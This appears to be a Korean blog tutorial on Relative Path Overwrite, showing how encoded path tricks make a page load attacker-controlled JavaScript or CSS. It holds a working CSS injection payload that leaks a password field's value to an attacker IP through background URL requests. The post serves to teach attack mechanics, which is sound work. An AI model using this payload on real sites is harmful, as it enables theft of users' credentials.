본문 바로가기
Hack/Web

Relative Path Overwrite(RPO)

by Becoming a Hacker 2020. 9. 22.
반응형

개요

Relative Path Overwrite는 Browser와 Server가 상대경로를 해석하는 과정의 차이점을 이용한 공격 기법입니다.

 

해당 취약점에서 가장 중요한 부분은 Browser에서 상대 경로를 해석하여 처리하는 방식입니다. 아래 코드는 styles.css와 script.js를 상대경로를 통하여 불러옵니다.

<link href="styles.css" rel="stylesheet" type="text/css" />
<script src="script.js"></script>

 

현재 URL 주소가 https://ethsms.co.kr/rpo/index.php 일 경우 Browser가 styles.css와 script.js의 경로를 다음과 같이 해석합니다.

https://ethsms.co.kr/rpo/styles.css 

https://ethsms.co.kr/rpo/script.js 

 

만약 URL 주소가 https://ethsms.co.kr/rpo/fake/..%2Findex.php 일 경우 Browser와 Server가 현재 경로를 다르게 인식할 수 있습니다.

Server : https://ethsms.co.kr/rpo/fake/../index.php

Browser : https://ethsms.co.kr/rpo/fake/..%2Findex.php

 

즉, 서버가 해석하는 파일의 위치는 /rpo/index.php 이지만, 브라우저가 해석하는 위치는 /rpo/fake/..%2Findex.php 이기 때문에 Browser가 요청하는 style.css와 script.js의 경로는 다음과 같이 변하게 됩니다.

https://ethsms.co.kr/rpo/fake/styles.css

https://ethsms.co.kr/rpo/fake/script.js 


분석

만약, script.js와 styles.css 파일들을 변경할 수 있을 때 어떤 위험이 발생 가능한지 알아보겠습니다.

 

먼저 임의의 script.js 파일을 불러올 수 있는 경우입니다.

 

/rpo/index.hmtl 파일

<script src='script.js'></script>
<strong>Path is /rpo/index.html</strong>

 

/rpo 디렉토리에는 현재 script.js 파일이 존재하지 않기 때문에, 해당 페이지에 접근할 경우 에러가 발생합니다.

 

에러 코드를 통하여 Browser가 인식하는 파일의 위치가 /rpo/script.js 인 것을 확인할 수 있었습니다. 다음은 Browser와 Server가 서로 다르게 경로를 해석하도록 페이지에 접근해보겠습니다.

 

Server의 경우 현재 경로를 /rpo/index.html로 인식하여 불러오지만, Browser는 현재 경로를 /rpo/fake/..%2Findex.php 으로 해석하여 /rpo/fake/script.js 파일을 불러오는 것을 확인할 수 있었습니다.

 

만약 /hack/script.js 라는 파일에 악성 스크립트가 존재하며, /rpo/index.html 페이지에 해당 파일을 로드시킬 수 있을 경우 악성 스크립트가 실행될 것 입니다.

 

알림 창을 띄우는 간단한 스크립트를 가지고 실습을 진행해보겠습니다.

/hack/script.js 파일

alert("You are Hacked");

 

브라우저가 현재 경로를 /hack/..%2Frpo%2Findex.html 으로 해석하도록 접근할 경우, /rpo/index.html 페이지에서 /hack/script.js 파일이 실행되는 것을 확인할 수 있습니다.

 

그렇다면, 만약 임의의 styles.css를 불러올 수 있을 경우 어떤 공격이 가능할까요?

 

/rpo/index2.html 파일

<link href="styles.css" rel="stylesheet" type="text/css">
ID : <input type="text" value="admin"><br>
PassWord : <input type="password" value="2345"><br>
<input type="submit" value="login">

 

/rpo/index2.html 페이지는 input 태그의 value 속성에서 현재 계정의 ID와 Password를 갖고 있습니다.

 

공격에 사용할 CSS 코드는 다음과 같습니다.

/hack/styles.css 파일

input[type='password'][value^="1"]{
        background: url("http://192.168.123.109/style.css?pwd=1~");
}
input[type='password'][value^="12"]{
        background: url("http://192.168.123.109/style.css?pwd=12~");
}
input[type='password'][value^="123"]{
        background: url("http://192.168.123.109/style.css?pwd=123~");
}
input[type='password'][value^="1234"]{
        background: url("http://192.168.123.109/style.css?pwd=1234~");
}
input[type='password'][value^="2"]{
        background: url("http://192.168.123.109/style.css?pwd=2~");
}
input[type='password'][value^="23"]{
        background: url("http://192.168.123.109/style.css?pwd=23~");
}
input[type='password'][value^="234"]{
        background: url("http://192.168.123.109/style.css?pwd=234~");
}
input[type='password'][value^="2345"]{
        background: url("http://192.168.123.109/style.css?pwd=2345~");
}

 

간단히 설명하자면, input 태그에서 type 속성이 password인 경우 value에 존재하는 값을 비교하여 공격자의 서버에 전송하는 코드입니다.

 

/rpo/index2.html 페이지에서 /hack/styles.css 파일을 불러오도록 접근할 경우, 계정의 Password인 2345가 공격자에게 전송되는 것을 확인할 수 있습니다.

 

물론, 해당 취약점을 이용하여 공격을 시도하려면 악성 행위를 하는 코드가 담긴 파일이 조작 가능한 위치에 존재한다는 전제 조건이 붙습니다.


Refference

https://blog.rubiya.kr/index.php/2019/04/17/relative-path-overwrite/

https://curesec.com/blog/article/blog/Reading-Data-via-CSS-Injection-180.html

반응형

댓글